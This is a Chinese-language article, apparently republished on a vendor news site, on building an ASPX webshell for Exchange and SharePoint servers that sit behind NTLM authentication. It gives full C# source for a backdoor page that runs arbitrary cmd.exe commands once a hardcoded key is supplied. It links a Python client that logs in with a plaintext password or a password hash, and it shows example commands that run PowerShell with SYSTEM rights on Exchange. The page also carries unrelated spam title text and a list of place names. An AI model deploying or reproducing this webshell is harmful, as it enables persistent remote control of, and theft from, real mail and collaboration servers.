亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何解析支持NTLM Over HTTP協議的Webshell實現

發布時間:2021-12-18 15:46:55 來源:億速云 閱讀:177 作者:柒染 欄目:互聯網科技

今天就跟大家聊聊有關如何解析支持NTLM Over HTTP協議的Webshell實現,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

在某些環境下,訪問Web服務器的資源需要通過NTLM Over  HTTP協議進行NTLM認證,而我們在這樣的Web服務器使用Webshell時,不僅需要考慮NTLM認證的實現,還需要滿足能夠在命令行下使用。

0x02 設計思路

通過NTLM Over HTTP協議進行NTLM認證的Web服務器有很多,這里分別以Exchange和SharePoint為例

(1)Exchange測試環境

文件保存的絕對路徑:

C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Autodiscover\test.aspx

對應的URL為:

https://URL/Autodiscover/test.aspx

(2)SharePoint測試環境

文件保存的絕對路徑:

C:\Program Files\Common Files\microsoft shared\Web Server Extensions\15\TEMPLATE\LAYOUTS\test.aspx

對應的URL為:

http://URL/_layouts/15/test.aspx

訪問test.aspx時均需要通過NTLM Over HTTP協議進行NTLM認證

這里以一個支持cmd命令的webshell為例進行測試,webshell的地址為:

https://github.com/tennc/webshell/blob/master/aspx/asp.net-backdoors/cmdexec.aspx

如下圖

如何解析支持NTLM Over HTTP協議的Webshell實現

這個webshell需要通過瀏覽器進行操作,首先完成NTLM認證,接著填入正確的Auth Key和要執行的cmd命令。

我們的目標是滿足能夠在命令行下使用,可以以此為模板進行修改,設計思路如下:

(1)execCmd.aspx

接收Form表單請求作為參數,對Auth Key進行驗證

如果驗證失敗,返回空結果

如果驗證成功,執行傳入的cmd命令并返回執行結果

(2)aspxCmdNTLM.py

命令行腳本

首先通過NTLM Over HTTP協議完成NTLM認證,這里需要支持明文和用戶口令hash兩種登錄方式。

通過Form表單請求發送Auth Key和要執行的cmd命令,接收cmd命令的執行結果。

execCmd.aspx和aspxCmdNTLM.py的通信內容作Base64編碼,在程序實現上需要考慮Base64編碼和解碼。

0x03 腳本開發細節

1.execCmd.aspx

使用Page_Load方法接收Form表單請求,其中data1用作Auth Key,data2用作cmd命令。

Base64編碼的實現:

byte[] enbytes = Encoding.Default.GetBytes(string1);string string2 = Convert.ToBase64String(enbytes);

Base64解碼的實現:

byte[] outbyte = Convert.FromBase64String(string1);string string2 = Encoding.Default.GetString(outbyte);

完整的實現代碼如下:

< %@ Page Language="C#"% >< %@ Import namespace="System.Diagnostics"% >< %@ Import Namespace="System.IO"% >< script runat="server" >private const string AUTHKEY = "UGFzc3dvcmQxMjM0NTY3ODk";protected void Page_Load(object sender, EventArgs e)    {string data1 = Request.Form["data1"];if (data1 != AUTHKEY){return;}string data2 = Request.Form["data2"];byte[] outbyte = Convert.FromBase64String(data2);string payload = Encoding.Default.GetString(outbyte);string outstr1 = ExecuteCommand(payload);byte[] enbytes = Encoding.Default.GetBytes(outstr1);string outstr2 = Convert.ToBase64String(enbytes);Response.Write(outstr2);}private string ExecuteCommand(string command)    {try{ProcessStartInfo processStartInfo = new ProcessStartInfo();processStartInfo.FileName = "cmd.exe";processStartInfo.Arguments = "/c " + command;processStartInfo.RedirectStandardOutput = true;processStartInfo.UseShellExecute = false;Process process = Process.Start(processStartInfo);using (StreamReader streamReader = process.StandardOutput){string ret = streamReader.ReadToEnd();return ret;}}catch (Exception ex){return ex.ToString();}}< /script >

2.aspxCmdNTLM.py

NTLM認證的實現可以參考之前的代碼:

https://github.com/3gstudent/Homework-of-Python/blob/master/checkEWS.py

  • 支持明文和用戶口令hash兩種登錄方式

  •  Form表單請求通過POST方式發送

  •  Base64編碼和解碼需要注意字符串的格式

完整的代碼已上傳至github,地址如下:

https://github.com/3gstudent/Homework-of-Python/blob/master/aspxCmdNTLM.py

  •  execCmd.aspx需要保存在Web服務器

  •  aspxCmdNTLM.py在命令行下執行,連接execCmd.aspx執行cmd命令并獲得返回結果

  •  aspxCmdNTLM.py支持明文和用戶口令hash兩種登錄方式

  •  對于Exchange服務器,對應的Webshell權限為System

如下圖

如何解析支持NTLM Over HTTP協議的Webshell實現

可以直接調用Exchange PowerShell

命令示例:

python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c \"Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn;;Get-MailboxServer\""

結果如下圖

如何解析支持NTLM Over HTTP協議的Webshell實現

對于SharePoint服務器,對應的Webshell權限為用戶權限

如下圖

如何解析支持NTLM Over HTTP協議的Webshell實現

可以嘗試調用SharePointServer PowerShell

命令示例:

python aspxCmdNTLM.py 192.168.1.1 443 https://192.168.1.1/Autodiscover/execCmd.aspx plaintext test.com user1 Password123! "powershell -c \"Add-PSSnapin Microsoft.SharePoint.PowerShell;Get-SPSite\""

這里需要注意,用戶需要配置為能夠訪問數據庫才能夠執行SharePointServer PowerShell命令

查看可訪問數據庫的用戶列表對應的Powershell命令如下:

Add-PSSnapin Microsoft.SharePoint.PowerShell;Get-SPShellAdmin

添加指定用戶訪問數據庫權限對應的Powershell命令如下:

Add-PSSnapin Microsoft.SharePoint.PowerShell;Add-SPShellAdmin Domain\User1

刪除指定用戶訪問數據庫權限對應的Powershell命令如下:

Add-PSSnapin Microsoft.SharePoint.PowerShell;Remove-SPShellAdmin Domain\User1 -Confirm:$false

正常的結果如下圖

如何解析支持NTLM Over HTTP協議的Webshell實現

看完上述內容,你們對如何解析支持NTLM Over HTTP協議的Webshell實現有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

肇庆市| 西宁市| 民丰县| 梅河口市| 临潭县| 祁连县| 丰台区| 诸暨市| 武汉市| 华宁县| 荔浦县| 渑池县| 新昌县| 温宿县| 罗田县| 容城县| 沙坪坝区| 泰来县| 弋阳县| 澄城县| 侯马市| 平凉市| 夏河县| 伊吾县| 陆川县| 陆河县| 六安市| 长泰县| 皮山县| 罗山县| 丰原市| 绥化市| 洞头县| 玛纳斯县| 兰考县| 尉犁县| 普陀区| 长沙市| 南通市| 临颍县| 蓬安县|